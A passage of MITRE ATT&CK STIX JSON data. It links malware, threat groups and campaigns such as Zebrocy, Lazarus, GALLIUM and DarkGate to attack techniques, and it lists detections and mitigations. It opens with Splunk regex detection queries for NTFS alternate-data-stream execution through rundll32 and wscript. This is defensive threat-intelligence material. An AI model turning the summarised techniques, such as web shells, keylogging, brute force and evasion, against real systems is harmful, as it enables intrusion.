- NTFS Alternate Data Stream Execution : System Utilities (rundll32)\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\rundll32.exe\" | regex CommandLine= \"\\\"?(\\w+(\\.\\w+)?):(\\w+(\\.\\w+)?)?\\\"?,\\w+\\|(advpack\\.dll\\|ieadvpack\\.dll),RegisterOCX\\s+(\\w+\\.\\w+):(\\w+(\\.\\w+)?)\\|(shdocvw\\.dll\\|ieframe\\.dll),OpenURL.*(\\w+\\.\\w+):(\\w+(\\.\\w+)?)\"</code>\n\nAnalytic 4 - NTFS Alternate Data Stream Execution : System Utilities (wscript/cscript)\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\\\Windows\\\\*\\\\wscript.exe\" OR Image= \"C:\\\\Windows\\\\*\\\\cscript.exe)\" | regex CommandLine= \"(?<!\\/)\\b\\w+(\\.\\w+)?:\\w+(\\.\\w+)?$\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6216dadc-095e-4550-bc01-79c79fe614ba", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Sofacy 06-2018", "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}, {"description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "source_name": "Unit42 Cannon Nov 2018"}, {"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"source_name": "Unit42 Sofacy Dec 2018", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."}, {"description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "source_name": "ESET Zebrocy May 2019"}, {"source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}], "modified": "2020-12-09T21:54:33.172Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the <code>systeminfo</code> command to gather system information. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62192379-d052-4618-be33-8511d636c67c", "created": "2023-03-17T14:56:40.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T16:40:27.254Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) performed brute force attacks against administrator accounts.(Citation: ESET Lazarus Jun 2020) ", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--622370db-7550-4422-8470-225bd07582f7", "created": "2022-09-23T13:43:04.210Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-23T13:45:05.778Z", "description": "[ccf32](https://attack.mitre.org/software/S1043) can delete files and folders from compromised machines.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--a394448a-4576-41b8-81cc-9b61abad94ab", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6223d178-5cf3-4c84-84f1-583895468915", "type": "relationship", "created": "2020-10-20T17:59:21.676Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - AAA", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#38", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - TACACS", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}], "modified": "2020-10-22T16:35:54.439Z", "description": "Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse. TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization. (Citation: Cisco IOS Software Integrity Assurance - AAA) (Citation: Cisco IOS Software Integrity Assurance - TACACS)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62248cd9-d997-468e-8606-6fa0c36330f4", "type": "relationship", "created": "2020-03-19T15:09:47.213Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-19T15:09:47.213Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", "target_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6231644a-5a32-4458-b950-444f84e1b476", "type": "relationship", "created": "2020-11-13T21:50:44.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.390Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can parse Outlook .pst files to extract e-mail addresses.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62359eba-e21f-46f1-9fb2-a3ec9d52acb3", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018)", "source_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Event Tracing Tampering 2018", "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.", "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62391d2c-56de-42e3-a937-fb9ffa3a4308", "type": "relationship", "created": "2019-01-30T18:58:04.102Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "source_name": "Unit42 Cannon Nov 2018"}], "modified": "2020-03-17T00:31:12.785Z", "description": "[Cannon](https://attack.mitre.org/software/S0351) uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.(Citation: Unit42 Cannon Nov 2018)", "relationship_type": "uses", "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6239c9a5-5ab9-425d-a767-0d4e6262a598", "created": "2022-09-27T16:15:52.487Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:15:52.487Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors archived collected files with WinRAR, prior to exfiltration.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6241b1fa-d49e-4c0f-82a7-08424f95abf7", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)", "source_ref": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6", "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"}, {"source_name": "Recorded Future Beacon Certificates", "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", "url": "https://www.recordedfuture.com/cobalt-strike-servers/"}]}, {"type": "relationship", "id": "relationship--62435a47-3830-4518-9c9f-1f0d25711907", "created": "2024-01-09T21:26:43.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-11T20:50:14.090Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) has been used to deploy other malware including [Ninja](https://attack.mitre.org/software/S1100).(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62442f37-7a0e-4945-b498-2d02306e53c7", "type": "relationship", "created": "2019-01-29T19:18:28.762Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", "source_name": "TrendMicro DarkComet Sept 2014"}, {"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2019-06-04T19:40:43.576Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) can collect the computer name, RAM used, and operating system version from the victim\u2019s machine.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6246955e-05ae-4bd8-8ac7-c02447634486", "type": "relationship", "created": "2019-04-19T12:37:34.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 DarkHydrus Jan 2019", "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}], "modified": "2019-04-24T23:55:43.443Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses regsvr32.exe to run a .sct file for execution.(Citation: Unit42 DarkHydrus Jan 2019)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62478274-7562-414a-9b03-f155f5a0d80b", "type": "relationship", "created": "2021-12-10T14:34:38.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-296A Berserk Bear December 2020", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "description": "CISA. (2020, December 1). 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(2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-02T21:37:15.006Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) uses a hard-coded string as a seed, along with the victim machine hardware identifier and input text, to generate a unique string used as an internal mutex value to evade static detection based on mutexes.(Citation: Trellix Darkgate 2023)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--624c4ae2-f367-4be2-a584-0fb5ec94c694", "type": "relationship", "created": "2020-07-01T18:23:25.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-07-01T18:23:25.252Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62507790-a137-409e-a655-9190ff78cb52", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. 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Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2020-03-30T02:59:20.841Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) contains a function to encrypt and store emails that it collects.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--625ebfc0-7aaa-4eaf-8c49-be8b55c059d4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.094Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used network scanning and enumeration tools, including [Ping](https://attack.mitre.org/software/S0097).(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6263dd52-7242-4b16-9483-8a13063bf193", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor files for changes that may create or modify Launch Daemons to execute malicious payloads as part of persistence.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--626697e3-0d05-4081-aa11-61280a502249", "type": "relationship", "created": "2019-07-18T21:12:51.554Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "source_name": "Cybereason Soft Cell June 2019"}, {"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-01-13T21:05:37.864Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used Web shells to persist in victim environments and assist in execution and exfiltration.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--626b1cb2-60a8-4077-913e-1ee4e788cec6", "type": "relationship", "created": "2019-01-29T21:33:34.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BadPatch Oct 2017", "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/", "description": "Bar, T., Conant, S. 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Retrieved November 13, 2018."}], "modified": "2020-03-16T16:00:09.825Z", "description": "[BadPatch](https://attack.mitre.org/software/S0337) has a keylogging capability.(Citation: Unit 42 BadPatch Oct 2017)", "relationship_type": "uses", "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--626fcdd2-aaef-4670-ac9e-112c59151f95", "created": "2022-06-03T14:43:01.533Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[DanBot](https://attack.mitre.org/software/S1014) can upload files from compromised hosts.(Citation: SecureWorks August 2019)", "modified": "2022-06-03T14:43:01.533Z", "relationship_type": "uses", "source_ref": "malware--b8d48deb-450c-44f6-a934-ac8765aa89cb", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--62784c03-0ee3-4a53-ba0e-876db5ede08a", "created": "2022-04-12T14:50:53.218Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. 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Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained specific Registry keys and values on a compromised host.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T14:50:53.218Z", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62785ee1-44c5-4938-a479-3f1546531032", "type": "relationship", "created": "2019-03-11T19:24:08.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. 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Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T19:46:41.540Z", "description": "[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can deobfuscate base64 encoded and RC4 encrypted C2 messages.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 